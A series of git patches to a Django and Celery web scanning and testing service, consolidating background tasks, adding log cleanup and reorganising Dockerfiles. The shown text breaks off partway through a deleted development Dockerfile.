diff --git a/app/api/tasks.py b/app/api/tasks.py
index 2a304f27..8117f4cc 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -552,11 +552,19 @@ def delete_old_resources(account_id=None, days_to_live=30):
         scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date)
         processes = Process.objects.filter(account__id=account_id, time_created__lte=max_proc_date)
+        
+        # get all old Logs
+        members = Member.objects.filter(account__id=account_id)
+        logs = []
+        for member in members:
+            logs += Logs.objects.filter(user=member.user, time_created__lte=max_proc_date)
+
     else:
         tests = Test.objects.filter(time_created__lte=max_date)
         scans = Scan.objects.filter(time_created__lte=max_date)
         testcases = Testcase.objects.filter(time_created__lte=max_date)
         processes = Process.objects.filter(time_created__lte=max_proc_date)
+        logs = Logs.objects.filter(time_created__lte=max_proc_date)
 
     for test in tests:
         delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
@@ -569,6 +577,8 @@ def delete_old_resources(account_id=None, days_to_live=30):
         testcase.delete()
     for process in processes:
         process.delete()
+    for log in logs:
+        log.delete()
     
     
     logger.info('Cleaned up resources')

From 61a3b32b4d2ea092f6d6ce021d9576d1b0a7688d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 20 May 2024 14:57:02 -0600
Subject: [PATCH 545/752] fixed steps issue

---
 app/api/v1/ops/tasks.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 9c590f4a..8551e19a 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -6,7 +6,7 @@
 from ...utils.wordpress_p import Wordpress as W_P
 from ...utils.automations import automation
 from ...utils.caser import Caser
-import boto3, asyncio
+import boto3, asyncio, requests
 from scanerr import settings
 from ...utils.scanner import (
     _html_and_logs, _vrt, _lighthouse, 
@@ -216,7 +216,7 @@ def create_testcase_task(
     else:
         case = Case.objects.get(id=case_id)
         site = Site.objects.get(id=site_id)
-        steps = case.steps
+        steps = requests.get(case.steps['url']).json()
         for step in steps:
             if step['action']['type'] != None:
                 step['action']['time_created'] = None

From c898939550df70ed433977a8235b32160b3f5806 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 20 May 2024 20:27:27 -0600
Subject: [PATCH 546/752] cleaned up task management

---
 app/api/tasks.py        | 321 ++++++++++++++++++++++++++++++-------
 app/api/v1/ops/tasks.py | 347 ----------------------------------------
 2 files changed, 261 insertions(+), 407 deletions(-)
 delete mode 100644 app/api/v1/ops/tasks.py

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 8117f4cc..ba6cab00 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -5,27 +5,26 @@
 from .utils.crawler import Crawler
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
-from .utils.exporter import create_and_send_report_export
+from .utils.reporter import Reporter as R
+from .utils.wordpress import Wordpress as W
+from .utils.wordpress_p import Wordpress as W_P
+from .utils.automations import automation
+from .utils.caser import Caser
 from .utils.autocaser import AutoCaser
-from .v1.ops.tasks import (
-    create_site_task, create_scan_task, 
-    create_test_task, create_report_task, delete_report_s3,
-    delete_site_s3, create_testcase_task, migrate_site_task,
-    delete_testcase_s3,
-)
+from .utils.exporter import create_and_send_report_export
 from .utils.scanner import (
     _html_and_logs, _vrt, _lighthouse, 
     _yellowlab
 )
+from .utils.driver_p import driver_test
+from .v1.auth.alerts import send_invite_link, send_remove_alert
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
-from .utils.driver_p import driver_test
-from .v1.auth.alerts import send_invite_link, send_remove_alert
 from asgiref.sync import async_to_sync
-import asyncio, boto3, time, requests, json
 from datetime import datetime, timedelta, date
 from scanerr import settings
+import asyncio, boto3, time, requests, json
 
 
 logger = get_task_logger(__name__)
@@ -40,12 +39,17 @@ class BaseTaskWithRetry(Task):
 
 
 
+
+
+
 @shared_task
 def test_pupeteer():
     asyncio.run(driver_test())
     logger.info('Tested pupeteer instalation')
 
 
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
@@ -158,8 +162,9 @@ def scan_page_bg(self, scan_id=None, test_id=None, automation_id=None, configs=N
 
 
 
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def _create_scan(
+def create_scan(
         self,
         scan_id=None,
         page_id=None, 
@@ -170,18 +175,26 @@ def _create_scan(
         *args, 
         **kwargs,
     ):
-    create_scan_task(
-        scan_id, 
-        page_id,
-        type,
-        automation_id, 
-        configs,
-        tags,
-    )
+    if scan_id is not None:
+        created_scan = Scan.objects.get(id=scan_id)
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
+        created_scan = Scan.objects.create(
+            site=page.site,
+            page=page,
+            type=type,
+            configs=configs,
+            tags=tags, 
+        )
+    scan = S(scan=created_scan, configs=configs).first_scan()
+    if automation_id:
+        automation(automation_id, scan.id)
+    return scan
     logger.info('Created new scan of site')
 
 
 
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_scan_bg(self, *args, **kwargs):
     # get data
@@ -199,7 +212,7 @@ def create_scan_bg(self, *args, **kwargs):
         pages = [Page.objects.get(id=page_id)]
 
     for page in pages:
-        _create_scan.delay(
+        create_scan.delay(
             page_id=page.id,
             type=type,
             configs=configs,
@@ -215,16 +228,25 @@ def run_html_and_logs_bg(self, scan_id=None, test_id=None, automation_id=None, *
     _html_and_logs(scan_id, test_id, automation_id)
     logger.info('ran html & logs component')
 
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def run_vrt_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
     _vrt(scan_id, test_id, automation_id)
     logger.info('ran vrt component')
 
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def run_lighthouse_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
     _lighthouse(scan_id, test_id, automation_id)
     logger.info('ran lighthouse component')
 
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def run_yellowlab_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
     _yellowlab(scan_id, test_id, automation_id)
@@ -243,6 +265,8 @@ def run_test(self, test_id, *args, **kwargs):
     logger.info('Test completed')
 
 
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
@@ -262,8 +286,10 @@ def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
     logger.info('Scan complete, begining Test')
 
 
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def _create_test(
+def create_test(
         self,
         test_id=None,
         page_id=None, 
@@ -357,7 +383,7 @@ def create_test_bg(self, *args, **kwargs):
             pages = [p]
 
         for page in pages:
-            _create_test.delay(
+            create_test.delay(
                 page_id=page.id,
                 type=type,
                 configs=configs,
@@ -369,7 +395,7 @@ def create_test_bg(self, *args, **kwargs):
     
     if test_id is not None:
         test = Test.objects.get(id=test_id)
-        _create_test.delay(
+        create_test.delay(
             test_id=test_id,
             page_id=test.page.id,
             type=type,
@@ -382,12 +408,34 @@ def create_test_bg(self, *args, **kwargs):
 
 
 
+
 @shared_task
-def _create_report(page_id=None, automation_id=None, *args, **kwargs):
-    create_report_task(page_id, automation_id)
+def create_report(page_id=None, automation_id=None, *args, **kwargs):
+    page = Page.objects.get(id=page_id)
+    if Report.objects.filter(page=page).exists():
+        report = Report.objects.filter(site=site).order_by('-time_created')[0]
+    else:
+        info = {
+            "text_color": '#24262d',
+            "background_color": '#e1effd',
+            "highlight_color": '#ffffff',
+        }
+        report = Report.objects.create(
+            user=site.user,
+            site=page.site,
+            page=page,
+            info=info,
+            type=['lighthouse', 'yellowlab']
+        )
+    
+    report = R(report=report).make_test_report()
+    if automation_id:
+        automation(automation_id, report.id)
     logger.info('Created new report of page')
 
 
+
+
 @shared_task
 def create_report_bg(*args, **kwargs):
     # get data
@@ -402,18 +450,35 @@ def create_report_bg(*args, **kwargs):
         pages = [Page.objects.get(id=page_id)]
 
     for page in pages:
-        _create_report.delay(
+        create_report.delay(
             page_id=page.id,
             automation_id=automation_id
         )
 
 
+
+
 @shared_task
 def delete_site_s3_bg(site_id, *args, **kwargs):
-    delete_site_s3(site_id)
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
+    except:
+        pass
     logger.info('Deleted site s3 objects')
 
 
+
+
 @shared_task
 def delete_page_s3_bg(page_id, site_id, *args, **kwargs):
     # setup boto3 configurations
@@ -431,6 +496,9 @@ def delete_page_s3_bg(page_id, site_id, *args, **kwargs):
         print(e)
     return
 
+
+
+
 @shared_task
 def delete_scan_s3_bg(scan_id, site_id, page_id):
     # setup boto3 configurations
@@ -447,7 +515,9 @@ def delete_scan_s3_bg(scan_id, site_id, page_id):
     except Exception as e:
         print(e)
     return
-    
+
+
+
 
 @shared_task
 def delete_test_s3_bg(test_id, site_id, page_id):
@@ -468,18 +538,52 @@ def delete_test_s3_bg(test_id, site_id, page_id):
 
 
 
+
 @shared_task
 def delete_testcase_s3_bg(testcase_id, *args, **kwargs):
-    delete_testcase_s3(testcase_id)
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
+    except:
+        pass
     logger.info('Deleted testcase s3 objects')
 
 
+
+
 @shared_task
 def delete_report_s3_bg(report_id, *args, **kwargs):
-    delete_report_s3(report_id)
+    # setup boto3 configurations
+    s3 = boto3.resource('s3', 
+        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+        region_name=str(settings.AWS_S3_REGION_NAME), 
+        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+    )
+
+    # get site
+    site = Report.objects.get(id=report_id).site
+
+    # deleting s3 objects
+    try:
+        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
+    except:
+        pass
     logger.info('Deleted Report pdf in s3')
 
 
+
+
 @shared_task
 def purge_logs(username=None, *args, **kwargs):
     if username:
@@ -492,16 +596,17 @@ def purge_logs(username=None, *args, **kwargs):
 
 
 
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_auto_cases_bg(
-    self, 
-    site_id=None,
-    process_id=None,
-    start_url=None,
-    max_cases=None,
-    max_layers=None,
-    configs=None
-):
+        self, 
+        site_id=None,
+        process_id=None,
+        start_url=None,
+        max_cases=None,
+        max_layers=None,
+        configs=None
+    ):
     # get objects
     site = Site.objects.get(id=site_id)
     process = Process.objects.get(id=process_id)
@@ -536,7 +641,61 @@ def create_testcase_bg(
         *args, 
         **kwargs,
     ):
-    create_testcase_task(testcase_id, site_id, case_id, updates, configs, automation_id)
+    if testcase_id != None:
+        testcase = Testcase.objects.get(id=testcase_id)
+        configs = testcase.configs
+    
+    else:
+        case = Case.objects.get(id=case_id)
+        site = Site.objects.get(id=site_id)
+        steps = requests.get(case.steps['url']).json()
+        for step in steps:
+            if step['action']['type'] != None:
+                step['action']['time_created'] = None
+                step['action']['time_completed'] = None
+                step['action']['exception'] = None
+                step['action']['passed'] = None
+
+            if step['assertion']['type'] != None:
+                step['assertion']['time_created'] = None
+                step['assertion']['time_completed'] = None
+                step['assertion']['exception'] = None
+                step['assertion']['passed'] = None
+
+        if updates != None:
+            for update in updates:
+                steps[int(update['index'])]['action']['value'] = update['value']
+    
+        testcase = Testcase.objects.create(
+            case = case,
+            case_name = case.name,
+            site = site,
+            user = site.user,
+            account = site.account,
+            configs = configs,
+            steps = steps
+        )
+
+    if configs is None:
+        configs = {
+            'window_size': '1920,1080',
+            'device': 'desktop',
+            'driver': 'puppeteer',
+            'interval': 5,
+            'min_wait_time': 10,
+            'max_wait_time': 30,
+        }
+
+    # running testcase
+    if configs.get('driver', 'puppeteer') == 'puppeteer':
+        testresult = asyncio.run(
+            Caser(testcase=testcase).run_p()
+        )
+    if configs.get('driver', 'puppeteer') == 'selenium':
+        testresult = Caser(testcase=testcase).run_s()
+
+    if automation_id:
+        automation(automation_id, testcase.id)
     logger.info('Ran full testcase')
 
 
@@ -557,14 +716,14 @@ def delete_old_resources(account_id=None, days_to_live=30):
         members = Member.objects.filter(account__id=account_id)
         logs = []
         for member in members:
-            logs += Logs.objects.filter(user=member.user, time_created__lte=max_proc_date)
+            logs += Log.objects.filter(user=member.user, time_created__lte=max_proc_date)
 
     else:
         tests = Test.objects.filter(time_created__lte=max_date)
         scans = Scan.objects.filter(time_created__lte=max_date)
         testcases = Testcase.objects.filter(time_created__lte=max_date)
         processes = Process.objects.filter(time_created__lte=max_proc_date)
-        logs = Logs.objects.filter(time_created__lte=max_proc_date)
+        logs = Log.objects.filter(time_created__lte=max_proc_date)
 
     for test in tests:
         delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
@@ -586,7 +745,6 @@ def delete_old_resources(account_id=None, days_to_live=30):
 
 
 
-
 @shared_task
 def data_retention():
     accounts = Account.objects.all()
@@ -601,7 +759,6 @@ def data_retention():
 
 
 
-
 @shared_task
 def delete_admin_sites(days_to_live=1):
     max_date = datetime.now() - timedelta(days=days_to_live)
@@ -676,6 +833,7 @@ def create_report_export_bg(report_id=None, email=None, first_name=None):
 
 
 
+
 @shared_task
 def migrate_site_bg(
         login_url, 
@@ -695,35 +853,78 @@ def migrate_site_bg(
         *args, 
         **kwargs
     ):
-    migrate_site_task(
-        login_url, 
-        admin_url,
-        username,
-        password,
-        email_address,
-        destination_url,
-        sftp_address,
-        dbname,
-        sftp_username,
-        sftp_password, 
-        plugin_name,
-        wait_time, 
-        process_id,
-        driver,
-    )
+    if driver == 'selenium':
+        # init wordpress
+        wp = W(
+            login_url=login_url, 
+            admin_url=admin_url,
+            username=username,
+            password=password,
+            email_address=email_address,
+            destination_url=destination_url,
+            sftp_address=sftp_address,
+            dbname=dbname,
+            sftp_username=sftp_username,
+            sftp_password=sftp_password, 
+            wait_time=wait_time,
+            process_id=process_id,
+
+        )
+
+        # login
+        wp_status = wp.login()
+        # adjust lang
+        wp_status = wp.begin_lang_check()
+        # install plugin
+        wp_status = wp.install_plugin(plugin_name=plugin_name)
+        # launch migration
+        wp_status = wp.launch_migration()
+        # run migration
+        wp_status = wp.run_migration()
+        # re adjust lang
+        # wp_status = wp.end_lang_check()
+    
+    else:
+        # init wordpress for puppeteer
+        wp_status = asyncio.run(
+            W_P(
+                login_url=login_url, 
+                admin_url=admin_url,
+                username=username,
+                password=password,
+                email_address=email_address,
+                destination_url=destination_url,
+                sftp_address=sftp_address,
+                dbname=dbname,
+                sftp_username=sftp_username,
+                sftp_password=sftp_password, 
+                wait_time=wait_time,
+                process_id=process_id,
+            ).run_full(plugin_name=plugin_name)
+        )
 
     logger.info('Finished Migration')
 
 
 
+
 @shared_task
 def send_invite_link_bg(member_id):
     member = Member.objects.get(id=member_id)
     send_invite_link(member)
     logger.info('Sent invite')
 
+
+
+
 @shared_task
 def send_remove_alert_bg(member_id):
     member = Member.objects.get(id=member_id)
     send_remove_alert(member)
-    logger.info('Sent remove alert')
\ No newline at end of file
+    logger.info('Sent remove alert')
+
+
+
+
+
+
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
deleted file mode 100644
index 8551e19a..00000000
--- a/app/api/v1/ops/tasks.py
+++ /dev/null
@@ -1,347 +0,0 @@
-from ...models import *
-from ...utils.scanner import Scanner as S
-from ...utils.tester import Tester as T
-from ...utils.reporter import Reporter as R
-from ...utils.wordpress import Wordpress as W
-from ...utils.wordpress_p import Wordpress as W_P
-from ...utils.automations import automation
-from ...utils.caser import Caser
-import boto3, asyncio, requests
-from scanerr import settings
-from ...utils.scanner import (
-    _html_and_logs, _vrt, _lighthouse, 
-    _yellowlab
-)
-
-
-
-def create_site_task(site_id, scan_id, configs):
-    site = Site.objects.get(id=site_id)
-    scan = Scan.objects.get(id=scan_id)
-    S(site=site, scan=scan, configs=configs).first_scan()
-    return site
-
-
-def create_scan_task(
-        scan_id=None,
-        page_id=None, 
-        type=['full'],
-        automation_id=None, 
-        configs=None,
-        tags=None,
-    ):
-    if scan_id is not None:
-        created_scan = Scan.objects.get(id=scan_id)
-    elif page_id is not None:
-        page = Page.objects.get(id=page_id)
-        created_scan = Scan.objects.create(
-            site=page.site,
-            page=page,
-            type=type,
-            configs=configs,
-            tags=tags, 
-        )
-    scan = S(scan=created_scan, configs=configs).first_scan()
-    if automation_id:
-        automation(automation_id, scan.id)
-    return scan
-
-
-
-def create_test_task(
-        test_id=None, 
-        page_id=None,
-        automation_id=None, 
-        configs=None, 
-        type=['full'],
-        index=None,
-        pre_scan=None,
-        post_scan=None,
-        tags=None,
-    ):
-
-    if test_id is not None:
-        created_test = Test.objects.get(id=test_id)
-        page = created_test.page
-    elif page_id is not None:
-        page = Page.objects.get(id=page_id)
-        created_test = Test.objects.create(
-            site=page.site,
-            page=page,
-            type=type,
-            tags=tags,
-        )
-
-    if pre_scan is not None:
-        pre_scan = Scan.objects.get(id=pre_scan)
-    if post_scan is not None:
-        post_scan = Scan.objects.get(id=post_scan)
-
-    if post_scan is None and pre_scan is not None:
-        post_scan = S(site=page.site, page=page, scan=pre_scan, configs=configs, type=type).second_scan()
-        
-    if pre_scan is None and post_scan is None:
-        new_scan = S(site=page.site, page=page, configs=configs, type=type)
-        post_scan = new_scan.second_scan()
-        pre_scan = post_scan.paired_scan
-
-    # updating parired scans
-    pre_scan.paired_scan = post_scan
-    post_scan.paried_scan = pre_scan
-    pre_scan.save()
-    post_scan.save()
-
-    # updating test object
-    created_test.type = type
-    created_test.pre_scan = pre_scan
-    created_test.post_scan = post_scan
-    created_test.save()
-    
-    
-    test = T(test=created_test).run_test(index=index)
-    if automation_id:
-        automation(automation_id, test.id)
-    return test
-
-
-
-
-def create_report_task(page_id=None, automation_id=None):
-    
-    page = Page.objects.get(id=page_id)
-
-    if Report.objects.filter(page=page).exists():
-        report = Report.objects.filter(site=site).order_by('-time_created')[0]
-    else:
-        info = {
-            "text_color": '#24262d',
-            "background_color": '#e1effd',
-            "highlight_color": '#ffffff',
-        }
-        report = Report.objects.create(
-            user=site.user,
-            site=page.site,
-            page=page,
-            info=info,
-            type=['lighthouse', 'yellowlab']
-        )
-    
-    report = R(report=report).make_test_report()
-    if automation_id:
-        automation(automation_id, report.id)
-    return report
-    
-
-
-
-
-
-def delete_site_s3(site_id):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    # deleting s3 objects
-    try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
-    except:
-        pass
-
-    return
-    
-
-
-
-
-def delete_testcase_s3(testcase_id):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    # deleting s3 objects
-    try:
-        bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
-    except:
-        pass
-
-    return
-
-    
-
-
-def delete_report_s3(report_id):
-    # setup boto3 configurations
-    s3 = boto3.resource('s3', 
-        aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-        aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-        region_name=str(settings.AWS_S3_REGION_NAME), 
-        endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-    )
-
-    # get site
-    site = Report.objects.get(id=report_id).site
-
-    # deleting s3 objects
-    bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-    bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
-
-    return
-
-
-
-
-def create_testcase_task(
-        testcase_id=None, 
-        site_id=None, 
-        case_id=None, 
-        updates=None,
-        configs=None,
-        automation_id=None
-    ):
-
-    if testcase_id != None:
-        testcase = Testcase.objects.get(id=testcase_id)
-        configs = testcase.configs
-    
-    else:
-        case = Case.objects.get(id=case_id)
-        site = Site.objects.get(id=site_id)
-        steps = requests.get(case.steps['url']).json()
-        for step in steps:
-            if step['action']['type'] != None:
-                step['action']['time_created'] = None
-                step['action']['time_completed'] = None
-                step['action']['exception'] = None
-                step['action']['passed'] = None
-
-            if step['assertion']['type'] != None:
-                step['assertion']['time_created'] = None
-                step['assertion']['time_completed'] = None
-                step['assertion']['exception'] = None
-                step['assertion']['passed'] = None
-
-        if updates != None:
-            for update in updates:
-                steps[int(update['index'])]['action']['value'] = update['value']
-    
-        testcase = Testcase.objects.create(
-            case = case,
-            case_name = case.name,
-            site = site,
-            user = site.user,
-            account = site.account,
-            configs = configs,
-            steps = steps
-        )
-
-    if configs is None:
-        configs = {
-            'window_size': '1920,1080',
-            'device': 'desktop',
-            'driver': 'puppeteer',
-            'interval': 5,
-            'min_wait_time': 10,
-            'max_wait_time': 30,
-        }
-
-    # running testcase
-    if configs.get('driver', 'puppeteer') == 'puppeteer':
-        testresult = asyncio.run(
-            Caser(testcase=testcase).run_p()
-        )
-    if configs.get('driver', 'puppeteer') == 'selenium':
-        testresult = Caser(testcase=testcase).run_s()
-
-    if automation_id:
-        automation(automation_id, testcase.id)
-
-    return
-
-
-
-
-def migrate_site_task(
-        login_url, 
-        admin_url,
-        username,
-        password,
-        email_address,
-        destination_url,
-        sftp_address,
-        dbname,
-        sftp_username,
-        sftp_password, 
-        plugin_name,
-        wait_time,
-        process_id,
-        driver, 
-        
-    ):
-
-    if driver == 'selenium':
-        # init wordpress
-        wp = W(
-            login_url=login_url, 
-            admin_url=admin_url,
-            username=username,
-            password=password,
-            email_address=email_address,
-            destination_url=destination_url,
-            sftp_address=sftp_address,
-            dbname=dbname,
-            sftp_username=sftp_username,
-            sftp_password=sftp_password, 
-            wait_time=wait_time,
-            process_id=process_id,
-
-        )
-
-        # login
-        wp_status = wp.login()
-        # adjust lang
-        wp_status = wp.begin_lang_check()
-        # install plugin
-        wp_status = wp.install_plugin(plugin_name=plugin_name)
-        # launch migration
-        wp_status = wp.launch_migration()
-        # run migration
-        wp_status = wp.run_migration()
-        # re adjust lang
-        # wp_status = wp.end_lang_check()
-    
-    else:
-        # init wordpress for puppeteer
-        wp_status = asyncio.run(
-            W_P(
-                login_url=login_url, 
-                admin_url=admin_url,
-                username=username,
-                password=password,
-                email_address=email_address,
-                destination_url=destination_url,
-                sftp_address=sftp_address,
-                dbname=dbname,
-                sftp_username=sftp_username,
-                sftp_password=sftp_password, 
-                wait_time=wait_time,
-                process_id=process_id,
-            ).run_full(plugin_name=plugin_name)
-        )
-
-    return
-
-
-
-
-
-    
\ No newline at end of file

From a5c4dc3ff888e42f196802118f4bb1c92718bbf8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:09:44 -0600
Subject: [PATCH 547/752] adding new entrypoint.sh and cleaning things up

---
 Dockerfile                                    |  5 ++
 Dockerfile.dev                                | 84 -------------------
 Dockerfile.stage => Dockerfile.local          | 10 ++-
 Dockerfile.old                                | 74 ----------------
 app/api/utils/autocaser.py                    | 30 ++++---
 app/api/utils/driver_p.py                     |  2 +-
 app/api/utils/driver_s.py                     |  2 +-
 app/api/utils/verify.py                       |  2 +-
 commands => commands.md                       |  4 +-
 docker-compose.dev.yml                        | 72 +++++++---------
 ...er-compose.yml => docker-compose.local.yml | 48 +++++++----
 docker-compose.prod.yml                       | 59 ++++++++-----
 docker-compose.stage.yml                      | 29 ++++---
 env/.env.dev.example                          | 14 ++--
 env/.env.prod.example                         | 12 ++-
 env/.env.prod.proxy-companion                 |  2 -
 env/.env.stage.example                        | 23 ++---
 k8s/prod/app-configs-example.yaml             | 72 ++++++++++++++++
 k8s/prod/app-deployment.yaml                  | 25 +++---
 k8s/prod/celery-deployment.yaml               |  3 +-
 .../requirements/requirements-staging.txt     |  0
 .../requirements/requirements.txt             |  0
 setup/scripts/local-entrypoint.sh             | 22 +++++
 setup/scripts/remote-entrypoint.sh            | 20 +++++
 24 files changed, 304 insertions(+), 310 deletions(-)
 delete mode 100644 Dockerfile.dev
 rename Dockerfile.stage => Dockerfile.local (85%)
 delete mode 100644 Dockerfile.old
 rename commands => commands.md (86%)
 rename docker-compose.yml => docker-compose.local.yml (54%)
 delete mode 100644 env/.env.prod.proxy-companion
 create mode 100644 k8s/prod/app-configs-example.yaml
 rename requirements-staging.txt => setup/requirements/requirements-staging.txt (100%)
 rename requirements.txt => setup/requirements/requirements.txt (100%)
 create mode 100755 setup/scripts/local-entrypoint.sh
 create mode 100755 setup/scripts/remote-entrypoint.sh

diff --git a/Dockerfile b/Dockerfile
index 83d67c57..9dc3208c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -61,3 +61,8 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
 RUN chmod +x /usr/bin/chromedriver
+
+# staring up services
+COPY ./setup/scripts/remote-entrypoint.sh "/remote-entrypoint.sh"
+ENTRYPOINT [ "/remote-entrypoint.sh" ]
+
diff --git a/Dockerfile.dev b/Dockerfile.dev
deleted file mode 100644
index e71480b4..00000000
--- a/Dockerfile.dev
+++ /dev/null
@@ -1,84 +0,0 @@
-FROM ubuntu:latest
-ENV PYTHONUNBUFFERED 1
-ENV DEBIAN_FRONTEND noninteractive
-
-# increasing allocated memory to node
-ENV NODE_OPTIONS --max_old_space_size=2000
-ENV NODE_OPTIONS "--max-old-space-size=2000"
-ENV GENERATE_SOURCEMAP false
-
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chrome binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome
-ENV DOCKERIZED yes
-
-# create the app user
-RUN addgroup --system app && adduser --system app 
-
-# installing python3 & pip
-RUN apt-get update && apt-get install -y python3 python3-pip
-
-# installing system deps (chromium-driver chromium-browser)
-RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev \ 
-    libfontconfig wget unzip gnupg
-
-# installing google-chrome-stable 
-RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
-    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
-    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
-    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
-    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
-    apt-get update -y; \
-    apt-get install -y google-chrome-stable;
-
-# installing chromedriver
-RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
-    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
-    unzip ~/chromedriver-linux64.zip -d ~/ && \
-    rm ~/chromedriver-linux64.zip && \
-    mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
-    rm -rf ~/chromedriver-linux64
-
-# installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 git  \ 
-    libatk-bridge2.0-0 gconf-service libasound2 make \ 
-    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
-    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
-    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
-    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
-    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
-    libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
-
-# installing node and npm --> n lts
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends && \
